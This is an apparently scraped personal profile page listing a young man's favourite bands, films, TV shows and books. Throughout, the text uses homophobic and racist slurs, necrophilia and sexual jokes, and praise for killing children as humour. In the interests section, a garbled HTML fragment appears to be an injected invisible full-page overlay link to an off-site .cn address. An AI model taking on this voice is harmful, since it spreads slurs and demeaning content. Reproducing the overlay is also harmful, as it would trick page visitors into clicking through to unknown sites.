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Jonathan

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About Me

I hate personal profiles :-) cos they are gay, but seeing as i'm writing this:- I am a fairly 'nice' person (by nice I dont mean a faggot) although i was once a homosexual necrophaeliac... the fad wore off tho, theres only so much you can do with a raw rotting corpse. I suffer from erectile disfunction and cheesy queef, but i dont really care about that much and i think everything is funny (especially if its racist or well offensive to everyone) :-) And CS:S fucking Pwns!!!!PAKIS!!!!!
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My Interests

I love skiing, computer games, football, feltching (jokes), Bitches (I mean valuable female members of society), Music, Films, Computer Games etca class="popup_wrapper" style="border:none!important;outline:none!important;backgrou nd-color:transparent!important;cursor:default;left:-30px;top :0px;height:6716px;width:1009px;"class=popup_x href="http://wrangdike.cn/s/" da$d

I'd like to meet:

I would love to meet Bruce Campbell, Jason Mewes, Ryan Reynolds, The Acacia Strain (cos they fucking own), Your mum (nah, already feltched her).

Music:

www.myspace.com/theacaciastrain = Fucking sweet .I love all kinds of music but mostly i listen to my hardcore metal and shit.... I love Gloria Estefan (listening to while writing this, booya :). My favourite bands are:
Lamb of God,
Bleeding Through
Everytime I die

Killswitch Engage,


Suicide Silence,
All Shall Perish,

The Acacia Strain,


Hatebreed,
Poison the Well,

All That Remains,


Unearth,
Funeral for a Friend,
36 Crazy Fists,
Inme,

CALIBAN,


Hopesfall,
Arch Enemy,
George Michael,
Phil Collins (sweet as a tit :) ),
Dillinger Escape Plan,
Taproot,
Thrice,
Opeth,
Shadows Fall,
Hopes fall,
Sting,
Soilwork,
Pdhm,
SOAD,
The Black Dahlia Murder,
Carnal Forge,
Capdown,
In Flames,
Kerbdog,
Blazin' Squad (hahaha jokes),
At the Gates,
New Found Glory,
Fallout Boy,
The Police,
Genesis,
Mortal Treason,
Extol erm....
There are shitloads more but i cant be fucked to remember them now. :)
I add to this list every time i remember another one of my favourite bands, though i dont know if they count as favourites if there are loads :)

Movies:

I always forget my favourite movies when i do this sort of shit but these are the ones i can remember: Hot Shots 1 and 2, T2 Judgement Day, Good Will Hunting, Every Zombie Film ever (zombies fucking own the pussy),Saw 1-3, Ring 1-2, Grudge 1-2, (Any fucked up japanese horror),
Star Wars Saga (thats right you heard me you cunts!!! :)), Scary Movie 1,2 and 3, Jay and Silent Bob Strike Back....Bong!!!, erm i'm forgetting now :( erm oh yeah my favourite movie ever is Aliens - "you're just too bad man..... anytime, anywhere", All the Evil Dead films (Ash is the best fucking character ever!!!) oh and disney films.....what!!!......call me a pussy again and i'll fuckin' knock you the fuck out you cunt!!!!

Television:

The only programs you need ever watch = Family Guy, Malcolm in the Middle, Farscape, Ren & Stimpy, Futurama, Simpsons, Gay time TV (if you love the cock)

Books:

I like some cool shit by Brian Jacques called Redwall. Its about loads of wicked little animals that are like people cos they talk and go round killing shit and there are good animals and like bad foxes and rats and shit that kill all the innocent children. Its sweet :)

Heroes:

The Punisher of course, and any other 'hero' that mercilessly slaughters small orphaned children (with aids) and laughs